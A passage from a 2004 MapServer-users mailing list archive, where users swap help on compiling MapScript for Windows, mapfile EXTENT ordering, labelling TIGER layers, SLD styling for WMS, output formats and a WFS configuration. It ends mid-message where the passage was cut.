*************************************** >>> > >>> > >>> > >>> > >>> > >>> > On Sat, 28 Feb 2004 13:41:30 -0700 (MST), >>> escreveu: >>> > >>> >> De: >>> >> Data: Sat, 28 Feb 2004 13:41:30 -0700 (MST) >>> >> Para: >>> >> Assunto: [Mapserver-users] Mapserver compiled and source download >>> >> >>> >> Hello, >>> >> >>> >> Is there somewhere where i can download the source and compiled >>> version together? I am having problems compiling mapserver and all i >>> really need is the mapserver.lib file (and any other library >>> files). >>> >> >>> >> thank you for your help, >>> >> will >>> >> >>> >> >>> >> _______________________________________________ >>> >> Mapserver-users mailing list >>> >> Mapserver-users@lists.gis.umn.edu >>> >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >>> >> >>> >> >>> > _______________________________________________ >>> > Mapserver-users mailing list >>> > Mapserver-users@lists.gis.umn.edu >>> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>> >>> >>> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users@lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Darren.Cope@statcan.ca Tue Mar 2 18:23:54 2004 From: Darren.Cope@statcan.ca (Darren.Cope@statcan.ca) Date: Tue, 2 Mar 2004 13:23:54 -0500 Subject: [Mapserver-users] Scale Dependant Classes in Legend Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C40083.84D92E79 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I am curious if there is a way to hide scale dependant classes in the legend. For example, I have a layer with 3 classes (each coming on as = you zoom in further). However, all of the classes show up in the legend as = long as one of the classes is in its range. Is there any way to alleviate = this, short of showing each class as a new layer (which I am assuming would = fix the problem, but I haven't tried..) Darren Cope Statistics Canada/Statistique Canada Geography Division/Division de la g=E9ographie Jean Talon 3D5 Ottawa, Canada (613) 951-6461 ------_=_NextPart_001_01C40083.84D92E79 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Scale Dependant Classes in Legend

Hi all,

I am curious if there is a way to = hide scale dependant classes in the legend.  For example, I have a = layer with 3 classes (each coming on as you zoom in further).  = However, all of the classes show up in the legend as long as one = of the classes is in its range.  Is there any way to alleviate = this, short of showing each class as a new layer (which I am assuming = would fix the problem, but I haven't tried..)

Darren Cope
Statistics Canada/Statistique = Canada
Geography Division/Division de = la g=E9ographie
Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

------_=_NextPart_001_01C40083.84D92E79-- From assefa@dmsolutions.ca Tue Mar 2 18:33:53 2004 From: assefa@dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 02 Mar 2004 13:33:53 -0500 Subject: [Mapserver-users] Mapserver compiled and source download In-Reply-To: <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> References: <1423.64.58.31.38.1078007010.squirrel@a.mail.mho.net> <20040229025428.19294.qmail@hm47.locaweb.com.br> <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> Message-ID: <4044D391.1010404@dmsolutions.ca> Hi there, I have put a mapserver lib that comes from a build on my machine (mapserver cvs from a couple of days ago) at www2.dmsolutions.ca/tmp/mapservlib.zip. Not sure if you need more that this file. Le me know. Later, mountainduo@mho.com wrote: > I guess what i hoped to get is a download file that had the source and > also the compiled objects so then i can create a windows dll so i can use > java. > > i get the mapscript_wrap.c to compile but then when i try to link the > compiled object i get a lot of undifined references to mapserver > functions. This is where i need the compiled mapserver library files so i > can link and create my dll. I had thought i had seen somewhere that there > was a mapserver.lib file but i could be wrong. > > can you post this zip file? > > thanks a lot > > >>>mapserver.lib ??? >>> >>>I never saw it before! please be sure the filename u want. >>> >>>best. >>> >>>Eduardo Patto Kanegae >>>http://www.consultoria.eti.br >>> >>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>*************************************** >>>***Fim da Mensagem / End of Message *** >>>*************************************** >>> >>> >>> >>> >>> >>>On Sat, 28 Feb 2004 15:23:30 -0700 (MST), >>>escreveu: >>> >>> >>>>De: >>>>Data: Sat, 28 Feb 2004 15:23:30 -0700 (MST) >>>>Para: >>>>Assunto: Re: [Mapserver-users] Mapserver compiled and source download >>>> >>>>Thank you for your reply. I have downloaded a few of the files but >>>>still can't find the mapserver.lib file. Can you tell me which file i >>>>should download? >>>> >>>>thanks again, >>>>will >>>> >>>> >>>>>http://www2.dmsolutions.ca/webtools/dl/ >>>>> >>>>>Eduardo Patto Kanegae >>>>>http://www.consultoria.eti.br >>>>> >>>>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>> >>>>*************************************** >>>> >>>>>***Fim da Mensagem / End of Message *** >>>>>*************************************** >>>>> >>>>> >>>>> >>>>> >>>>> >>>>>On Sat, 28 Feb 2004 13:41:30 -0700 (MST), >>>> >>>>escreveu: >>>> >>>>>>De: >>>>>>Data: Sat, 28 Feb 2004 13:41:30 -0700 (MST) >>>>>>Para: >>>>>>Assunto: [Mapserver-users] Mapserver compiled and source download >>>>>> >>>>>>Hello, >>>>>> >>>>>>Is there somewhere where i can download the source and compiled >>>> >>>>version together? I am having problems compiling mapserver and all i >>>>really need is the mapserver.lib file (and any other library >>>>files). >>>> >>>>>>thank you for your help, >>>>>>will >>>>>> >>>>>> >>>>>>_______________________________________________ >>>>>>Mapserver-users mailing list >>>>>>Mapserver-users@lists.gis.umn.edu >>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>>>> >>>>>> >>>>>> >>>>> >>>>>_______________________________________________ >>>>>Mapserver-users mailing list >>>>>Mapserver-users@lists.gis.umn.edu >>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>>> >>>> >>>> >>>> >>>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users@lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users@lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa@dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From mountainduo@mho.com Tue Mar 2 18:51:36 2004 From: mountainduo@mho.com (mountainduo@mho.com) Date: Tue, 2 Mar 2004 11:51:36 -0700 (MST) Subject: [Mapserver-users] Mapserver compiled and source download In-Reply-To: <4044D391.1010404@dmsolutions.ca> References: <1423.64.58.31.38.1078007010.squirrel@a.mail.mho.net> <20040229025428.19294.qmail@hm47.locaweb.com.br> <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> <4044D391.1010404@dmsolutions.ca> Message-ID: <3760.64.58.31.38.1078253496.squirrel@a.mail.mho.net> Awesome, thanks. Now my linker is complaining about the gd library. Can you post the gd windows library as well? thanks! > Hi there, > > I have put a mapserver lib that comes from a build on my machine > (mapserver cvs from a couple of days ago) at > www2.dmsolutions.ca/tmp/mapservlib.zip. > Not sure if you need more that this file. Le me know. > > Later, > > > > mountainduo@mho.com wrote: >> I guess what i hoped to get is a download file that had the source and >> also the compiled objects so then i can create a windows dll so i can >> use java. >> >> i get the mapscript_wrap.c to compile but then when i try to link the >> compiled object i get a lot of undifined references to mapserver >> functions. This is where i need the compiled mapserver library files >> so i can link and create my dll. I had thought i had seen somewhere >> that there was a mapserver.lib file but i could be wrong. >> >> can you post this zip file? >> >> thanks a lot >> >> >>>>mapserver.lib ??? >>>> >>>>I never saw it before! please be sure the filename u want. >>>> >>>>best. >>>> >>>>Eduardo Patto Kanegae >>>>http://www.consultoria.eti.br >>>> >>>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>> *************************************** >>>>***Fim da Mensagem / End of Message *** >>>>*************************************** >>>> >>>> >>>> >>>> >>>> >>>>On Sat, 28 Feb 2004 15:23:30 -0700 (MST), >>>> escreveu: >>>> >>>> >>>>>De: >>>>>Data: Sat, 28 Feb 2004 15:23:30 -0700 (MST) >>>>>Para: >>>>>Assunto: Re: [Mapserver-users] Mapserver compiled and source >>>>> download >>>>> >>>>>Thank you for your reply. I have downloaded a few of the files but >>>>> still can't find the mapserver.lib file. Can you tell me which file >>>>> i should download? >>>>> >>>>>thanks again, >>>>>will >>>>> >>>>> >>>>>>http://www2.dmsolutions.ca/webtools/dl/ >>>>>> >>>>>>Eduardo Patto Kanegae >>>>>>http://www.consultoria.eti.br >>>>>> >>>>>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>>> >>>>>*************************************** >>>>> >>>>>>***Fim da Mensagem / End of Message *** >>>>>>*************************************** >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>>On Sat, 28 Feb 2004 13:41:30 -0700 (MST), >>>>> >>>>>escreveu: >>>>> >>>>>>>De: >>>>>>>Data: Sat, 28 Feb 2004 13:41:30 -0700 (MST) >>>>>>>Para: >>>>>>>Assunto: [Mapserver-users] Mapserver compiled and source download >>>>>>> >>>>>>>Hello, >>>>>>> >>>>>>>Is there somewhere where i can download the source and compiled >>>>> >>>>>version together? I am having problems compiling mapserver and all i >>>>> really need is the mapserver.lib file (and any other library >>>>>files). >>>>> >>>>>>>thank you for your help, >>>>>>>will >>>>>>> >>>>>>> >>>>>>>_______________________________________________ >>>>>>>Mapserver-users mailing list >>>>>>>Mapserver-users@lists.gis.umn.edu >>>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>>>>> >>>>>>> >>>>>>> >>>>>> >>>>>>_______________________________________________ >>>>>>Mapserver-users mailing list >>>>>>Mapserver-users@lists.gis.umn.edu >>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users@lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users@lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users@lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > -- > ---------------------------------------------------------------- > Assefa Yewondwossen > Software Analyst > > Email: assefa@dmsolutions.ca > http://www.dmsolutions.ca/ > > Phone: (613) 565-5056 (ext 14) > Fax: (613) 565-0925 > ---------------------------------------------------------------- From jnielsen@aero-graphics.com Tue Mar 2 18:59:09 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Tue, 2 Mar 2004 11:59:09 -0700 Subject: [Mapserver-users] Projection issue... Message-ID: <1078253949.4044d97d79fac@www.agi-lan.com> Anyone see anything wrong with the following? As far as I can tell the rest of the map file etc is ok. I pushed this all over into the itasca demo to try and debug what I have goofy. All I am getting is a black area as if I have an extents problem. TIA # SLC section in WGS 84 Lat Long Decimal Degrees NAME SLC STATUS ON SIZE 558 360 #WGS84 EXTENT 40.1 -112.8 40.6 -111.4 UNITS DD SHAPEPATH "data" IMAGECOLOR 0 0 0 IMAGETYPE PNG24 ... [root@localhost data]# ogrinfo -al slc2002photos.shp | more INFO: Open of `slc2002photos.shp' using driver `ESRI Shapefile' successful. Layer name: slc2002photos Geometry: Point Feature Count: 392 Extent: (-112.064000, 40.263300) - (-111.471300, 40.500400) Layer SRS WKT: PROJCS["WGS_1984_TM_36_SE", GEOGCS["GCS_WGS_1984", DATUM["WGS_1984", SPHEROID["WGS_1984",6378137.0,298.257223563]], PRIMEM["Greenwich",0.0], UNIT["Degree",0.0174532925199433]], PROJECTION["Transverse_Mercator"], PARAMETER["False_Easting",500000.0], PARAMETER["False_Northing",10000000.0], PARAMETER["Central_Meridian",36.0], PARAMETER["Scale_Factor",0.9996], PARAMETER["Latitude_Of_Origin",0.0], UNIT["Meter",1.0]] ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From keon@nacse.org Tue Mar 2 19:00:58 2004 From: keon@nacse.org (Dylan Keon) Date: Tue, 02 Mar 2004 11:00:58 -0800 Subject: [Mapserver-users] Re: help me !!! In-Reply-To: References: Message-ID: <4044D9EA.5030004@nacse.org> Dharani, I haven't played around with tiger line data. You probably just need to set LABELITEM for each layer, then define a LABEL object within each CLASS. Here are a couple of posts from the archives that might help: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/msg00113.html http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0301/msg00553.html You might also find some clues on the OGR howto page: http://mapserver.gis.umn.edu/doc/ogr-howto.html --Dylan Dharani Babu wrote: > Mr.Keon > I am dharani babu from chennai , india . I found your reference at > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0308/msg00012.html > .( I am sending this mail after posting several time to map server list ) > > I am a new map server user . I request you to consider help me with > my problem .I have been as of now able to render TIGER file maps thro > Mapserver . I have the ms4w package set up and have apache running . I > am now able to render theTIGER files' CompleteChain , Landmarks and PIP > . But I am trying to find hard to display the names ( labels right)on > the streets and landmarks and capitals .To tell you what I did .....I > ran ogrinfo on the tiger folder and got the following Layers . > Had to open data source read-only. > INFO: Open of `c:/ms4w/apache/htdocs/demof/data/rm' > using driver `TIGER' successful. > 1: CompleteChain (Line String) > 2: AltName (None) > 3: FeatureIds (None) > 4: ZipCodes (None) > 5: Landmarks (Point) > 6: AreaLandmarks (None) > 7: KeyFeatures (None) > 8: Polygon (None) > 9: EntityNames (Point) > 10: IDHistory (None) > 11: PolyChainLink (None) > 12: PIP (Point) > 13: TLIDRange (None) > 14: ZipPlus4 (None) > And I am pasting the mapfile content I use. Please go thro it and advise > me WHERE and HOW Should I add > the LABELs ? So that I can get the names of capitals and landmarks and > streets displayed on the > map . I tried to add the LABEL defintions(which I found in your message) > to the LAYERS but got mapserver error . > > # > # Start of map file > # > NAME DEMO > STATUS ON > SIZE 600 600 > EXTENT -71.451310 42.737590 -70.575094 43.274201 > #UNITS DEGREES > SHAPEPATH "C:/ms4w/apache/htdocs/demof/data/rm/" > IMAGECOLOR 255 255 255 > > IMAGETYPE png > > # > # Projection definition, consult the PROJ.4 documentation for parameter > discussi > # > #PROJECTION > # "proj=utm" > # "ellps=GRS80" > # "zone=10" > # "north" > # "no_defs" > # "init=EPSG:26910" > #END > > # > # Start of web interface definition > # > WEB > HEADER tiger > TEMPLATE temp_rm4.html > FOOTER demo_footer.html > # MINSCALE 1000 > # MAXSCALE 1550000 > IMAGEPATH "C:/ms4w/apache/htdocs/temp_rm1/" > IMAGEURL "/temp_rm1/" > # LOG "demo.log" > END > > QUERYMAP > SIZE 200 200 > STATUS ON > STYLE HILITE > COLOR 255 0 0 > END > > # > # Start of reference map > # > REFERENCE > IMAGE graphics/dem.gif > EXTENT 481314.93 5620068.63 703440.19 5837331.76 > SIZE 200 192 > STATUS OFF > COLOR -1 -1 -1 > OUTLINECOLOR 255 0 0 > END > > # > # Start of legend > # > LEGEND > KEYSIZE 18 12 > LABEL > TYPE BITMAP > SIZE MEDIUM > COLOR 0 0 89 > END > STATUS ON > END > > # > # Setting up output formats > # > > #OUTPUTFORMAT > # NAME png > #DRIVER "GD/PNG" > #MIMETYPE "image/png" > #IMAGEMODE RGB #PC256 > #EXTENSION "png" > #END > > # > # Start of scalebar > # > SCALEBAR > IMAGECOLOR 255 255 255 > LABEL > COLOR 255 255 255 > SIZE tiny > END > STYLE 1 > SIZE 50 2 > COLOR 255 255 255 > UNITS KILOMETERS > INTERVALS 1 > TRANSPARENT TRUE > STATUS TRUE > END > > > SYMBOL > NAME "circle" > TYPE ellipse > FILLED true > POINTS > 1 1 > END > END > > # > # Start of layer definitions > # > > LAYER > GROUP tigerdata > NAME tiger1 > TYPE LINE > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "C:/ms4w/apache/htdocs/demof/data/rm" > DATA "CompleteChain" > CLASS > SYMBOL "circle" > SIZE 1 > COLOR 200 0 0 > END > END > > > LAYER > GROUP tigerdata > NAME tiger5 > TYPE POLYGON > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "C:/ms4w/apache/htdocs/demof/data/tigertest" > DATA "Landmarks" > CLASS > SYMBOL "circle" > SIZE 1 > COLOR 200 0 0 > END > END > > LAYER > GROUP tigerdata > NAME tiger12 > TYPE POINT > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "C:/ms4w/apache/htdocs/demof/data/tigertest" > DATA "PIP" > CLASS > SYMBOL "circle" > SIZE 8 > COLOR 0 0 200 > END > END > > END # Map file > > Please advise me with the above stuff !!! As you can see I have been > able to render the LAYERS which have geometry ( line and point ) but I > dont know what I can do with layers that have no geomoetry . ... > Expecting your reply > With regards and thanks in advance > dharani From mapgisnewbies@yahoo.com Tue Mar 2 19:51:27 2004 From: mapgisnewbies@yahoo.com (we wei) Date: Tue, 2 Mar 2004 11:51:27 -0800 (PST) Subject: [Mapserver-users] Customize style in WMS layers Message-ID: <20040302195127.55747.qmail@web20723.mail.yahoo.com> Hi all, I have a question about customize style for WMS layers which I tried to add to my CWC2 demo. I want to modified symbols, color, or fonts on WMS layers which I imported from other WMS servers. Will it be possible to do this? I just wonder if SLD is used for modifying WMS layers' style. If it is so, could anyone give me an example on how to use it or if I need any thing on client-side or server-side in order to make it work? If SLD is not used in this way, what is the proper way to make this work? Any help would be greatly apprectiate :) Thanks in advance! __________________________________ Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster http://search.yahoo.com From bartvde@xs4all.nl Tue Mar 2 21:08:55 2004 From: bartvde@xs4all.nl (Bart van den Eijnden) Date: Tue, 02 Mar 2004 22:08:55 +0100 Subject: [Mapserver-users] Customize style in WMS layers In-Reply-To: <20040302195127.55747.qmail@web20723.mail.yahoo.com> References: <20040302195127.55747.qmail@web20723.mail.yahoo.com> Message-ID: Hi, SLD is used for this purpose. But the remote WMS server must then support the SLD WMS interface, which you should be able to deduct from its GetCapabilities interface. Normally a GetMap request is accompanied by an SLD document (by URL or with SLD_BODY, see OGC spec for exact details) in order to influence the style/symbology in which a layer will be drawn. Examples can be found on the Wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SLDMapServer Best regards, Bart On Tue, 2 Mar 2004 11:51:27 -0800 (PST), we wei wrote: > Hi all, > > I have a question about customize style for WMS layers > which I tried to add to my CWC2 demo. I want to > modified symbols, color, or fonts on WMS layers which > I imported from other WMS servers. Will it be > possible to do this? I just wonder if SLD is > used for modifying WMS layers' style. If it is so, > could anyone give me an example on how to use it or if > I need any thing on client-side or server-side in > order to make it work? If SLD is not used in this > way, what is the proper way to make this work? Any > help would be greatly apprectiate :) > > Thanks in advance! > > > __________________________________ > Do you Yahoo!? > Yahoo! Search - Find what you’re looking for faster > http://search.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From warmerdam@pobox.com Tue Mar 2 21:21:40 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Tue, 02 Mar 2004 16:21:40 -0500 Subject: [Mapserver-users] Projection issue... In-Reply-To: <1078253949.4044d97d79fac@www.agi-lan.com> References: <1078253949.4044d97d79fac@www.agi-lan.com> Message-ID: <4044FAE4.90305@pobox.com> Jason M. Nielsen wrote: > Anyone see anything wrong with the following? > > As far as I can tell the rest of the map file etc is ok. I pushed this all over > into the itasca demo to try and debug what I have goofy. All I am getting is a > black area as if I have an extents problem. > > TIA > > # SLC section in WGS 84 Lat Long Decimal Degrees > NAME SLC > STATUS ON > SIZE 558 360 > #WGS84 > EXTENT 40.1 -112.8 40.6 -111.4 > UNITS DD > SHAPEPATH "data" > IMAGECOLOR 0 0 0 > IMAGETYPE PNG24 > > ... > > [root@localhost data]# ogrinfo -al slc2002photos.shp | more > INFO: Open of `slc2002photos.shp' > using driver `ESRI Shapefile' successful. > > Layer name: slc2002photos > Geometry: Point > Feature Count: 392 > Extent: (-112.064000, 40.263300) - (-111.471300, 40.500400) > Layer SRS WKT: > PROJCS["WGS_1984_TM_36_SE", > GEOGCS["GCS_WGS_1984", > DATUM["WGS_1984", > SPHEROID["WGS_1984",6378137.0,298.257223563]], > PRIMEM["Greenwich",0.0], > UNIT["Degree",0.0174532925199433]], > PROJECTION["Transverse_Mercator"], > PARAMETER["False_Easting",500000.0], > PARAMETER["False_Northing",10000000.0], > PARAMETER["Central_Meridian",36.0], > PARAMETER["Scale_Factor",0.9996], > PARAMETER["Latitude_Of_Origin",0.0], > UNIT["Meter",1.0]] Jason, Well, this stuff from ogrinfo about it being transverse mercator is clearly wrong. Perhaps someone dumped an improper .prj file with the dataset? But I don't think this is related to your issues. Your mapfile seems to have the X and Y values switched. Shouldn't your extents be "xmin ymin xmax ymax"? EXTENT -112.8 40.1 -111.4 40.6 Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam@pobox.com Tue Mar 2 21:24:28 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Tue, 02 Mar 2004 16:24:28 -0500 Subject: [Mapserver-users] Displaying an Elevation Profile In-Reply-To: <4044C898.2060900@icesat2.gsfc.nasa.gov> References: <4044C898.2060900@icesat2.gsfc.nasa.gov> Message-ID: <4044FB8C.9080908@pobox.com> Zipora Sidel wrote: > Hi, > I am new to the MapServer and quite overwhelmed from all the options > available to the user. > However, it is not clear to me if I can use the software for my > application. > My data is a grid file (latitude, longitude, elevation). I would like to > display the map on the web and by clicking the mouse in two points, be > able to display the elevation profile between those two points. > Any help will be appreciated. Tzipi, Your application would not be supported out of the box. You could use mapserver for the mapping, but when you want to process the profile request that would have to be done via some other mechanism. In theory you could write a python cgi that used GDAL to sample along the profile line, and then drew some sort of graph. But your application will take substantial customization and effort on MapServer. Of course, it may be that not many other mapservers would support this easily out of the box either. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jnielsen@aero-graphics.com Tue Mar 2 21:50:08 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Tue, 2 Mar 2004 14:50:08 -0700 Subject: [Mapserver-users] Projection issue... In-Reply-To: <4044FAE4.90305@pobox.com> References: <1078253949.4044d97d79fac@www.agi-lan.com> <4044FAE4.90305@pobox.com> Message-ID: <1078264208.404501902cd84@www.agi-lan.com> Quoting Frank Warmerdam : > Jason M. Nielsen wrote: > > Anyone see anything wrong with the following? > > > > As far as I can tell the rest of the map file etc is ok. I pushed this all > over > > into the itasca demo to try and debug what I have goofy. All I am getting > is a > > black area as if I have an extents problem. > > > > TIA > Jason, > > Well, this stuff from ogrinfo about it being transverse mercator is clearly > wrong. Perhaps someone dumped an improper .prj file with the dataset? > But > I don't think this is related to your issues. > > Your mapfile seems to have the X and Y values switched. Shouldn't > your extents be "xmin ymin xmax ymax"? > > EXTENT -112.8 40.1 -111.4 40.6 Yah I have determined the coordinate system must be incorrect only due to searching through the epsg file. I am a computer grunt not a gis person etc so until after banging my head against this for a long time did I finally come to this realization. With regard to the extents bass ackwards.. That was it! Thank you! Soon as I read your post my head hit my desk then my hand my forehead repeatedly. I think I could hear someone going "DOH!". Thanks! ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From steve.lime@dnr.state.mn.us Tue Mar 2 23:37:42 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Tue, 02 Mar 2004 17:37:42 -0600 Subject: [Mapserver-users] WMS Problems... Message-ID: Hi Folks: I'm running into a few WMS issues that perhaps others have witnessed (this is all MapServer 4.0, w/GDAL and Proj): - In a GetCapabilties request (version 1.1.1) tiff is showing up as an output format even though a tiff output format is not set. GetMap requests wanting tiff output subsequently fail. Seems to work (I get a file and not an error) if I add a tiff output format. For some reason I thought there was a default tiff format but if so it ain't working. - In a GetCapabilties request (version 1.0.0) I can't seem to extend the list of output formats by defining more of them in the map file. I always and up with the 4 standard GD formats, but at least tiff ain't there. ;-) - How would one advertise the ability to create DIFFERENT tiff formats? (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or the other. I've tried creating 2 output formats but that doesn't seem to have any effect, nor can I or a user choose one. Steve From steve.lime@dnr.state.mn.us Tue Mar 2 23:50:28 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Tue, 02 Mar 2004 17:50:28 -0600 Subject: [Mapserver-users] Mouse Over Message-ID: MapServer does not do much (if any) caching of features. It does cache some information from a query to make processing a bit faster but it's nothing more than an id value and class. For a querymap it works like this: 1) query is done, list of matching shapes is created (1st visit to the data) 2) template is parsed, each feature is retrieved and output as necessary (2nd visit to the data) 3) if necessary, query map is produced (3rd visit to the data) Your original assumption is correct and yes, this can be quite expensive depending on the dataset. This is a known issue and there is already a bug filed concerning it- we need to cache features in step 1. With small result sets it's easy, we can just use the feature lists that already exist in MapServer. It get's complicated with large result sets though, especially when multiple instances of the software are running. Memory usage could go through the roof. On the bright side it works fine now with minimal performance issues for most folks and can only get better. Steve >>> "Charlton Purvis" 3/2/2004 7:20:42 AM >>> Well, maybe I can answer part of my question. At least w/ mapscript, everything's bundled into a mapObj, right? So we've already hit the database or whatever and run our queries to produce this object. So if we want a picture, we have to draw something based on this mapObj. If we want a querymap, we have to draw that based on the mapObj. Am I correct in thinking that it is the mapObj that is traversed multiple times to produce multiple outputs? I guess there's no way of getting around that, but it is certainly a heck of a lot better than my original assumption which was that the data sources were being pinged each time. -----Original Message----- From: Charlton Purvis Sent: Tue 3/2/2004 8:02 AM To: Steve Lime; pucher@atlas.gis.univie.ac.at; Michael.Smith@erdc.usace.army.mil; mapserver-users@lists.gis.umn.edu; bartvde@xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over OK. Thanks, Steve. I've got a litlle of both working in my favor: dashing a bit of CGI + a wallop of PHP for the final image + imagemap product. It's working well. But I've got another question that might start to bug me if it turns out to be true. Let's take your example of Minn. and the county names. (Consider using SC data and counties -- we've got great backwards county names.) How many passes is that making through the data? 2? 1 for the image + 1 for the imagemap? Does any kind of caching go on behind the scenes for that 2nd request if there is one? I'm not too worried about it right now since I know that the database is caching my 1st request (if there is a 2nd). But I'm about to unload a bucket load of raster data into the mix of shapefiles in the db, and I know that the system ain't caching squat for those (perhaps some OS-level file caching but that's it) -- tiling, yes, but caching, no? If it is making 2 requests, is there a way I the code could be made more parallel? I.e. one pass produces two or an arbitrary # of outputs. I have negative interest in coding it myself at this point -- I'm more curious than anything. But I think there would be great value in that. At least I know from my own experience on a given screen, the same source data is being shown in about 3 different ways at a given time. So why traverse it more than once? Thanks, Charlton -----Original Message----- From: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Sent: Mon 3/1/2004 6:47 PM To: Charlton Purvis; pucher@atlas.gis.univie.ac.at; Michael.Smith@erdc.usace.army.mil; mapserver-users@lists.gis.umn.edu; bartvde@xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From scoota@supanet.com Wed Mar 3 00:10:35 2004 From: scoota@supanet.com (Keith Campbell) Date: Wed, 03 Mar 2004 00:10:35 +0000 Subject: [Mapserver-users] WFS Layer Problem Message-ID: <4045227B.4030609@supanet.com> Hi All, I'm trying to set up a map file to serve up a WFS layer. I think I've set all the metadata tags specified in the HOWTO but I get a GIF output, not GML. I'm using v4.0 on Windows. Here's the mapfile:- MAP DEBUG TRUE NAME "FIRST" SHAPEPATH "F:\CDS Project\Mapping\shp\" EXTENT 270000 180000 290000 200000 SIZE 600 600 UNITS METERS WEB IMAGEPATH "F:\CDS Project\Working\Dev\MapServer\tmp\" IMAGEURL "/CDSproj/Dev/MapServer/tmp/" LOG "F:\CDS Project\Working\Dev\MapServer\MapServer.log" METADATA "wfs_title" "WFS Demo - CDS Project" "wfs_onlineresource" "http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map" "wfs_srs" "EPSG:27700" "ows_schemas_location" "http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd" END END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # UrbanAreas polygon layer begins here NAME UrbanAreas DATA UrbanAreas STATUS DEFAULT TYPE POLYGON DUMP TRUE CLASS STYLE COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END # UrbanAreas polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object Can anybody see what else needs to be added to force the output to GML? Thanks, Keith From steve.lime@dnr.state.mn.us Wed Mar 3 02:32:13 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Tue, 02 Mar 2004 20:32:13 -0600 Subject: [Mapserver-users] Slow Mapserver SVG on postgres db Message-ID: PostGIS may be more sensitive to some of 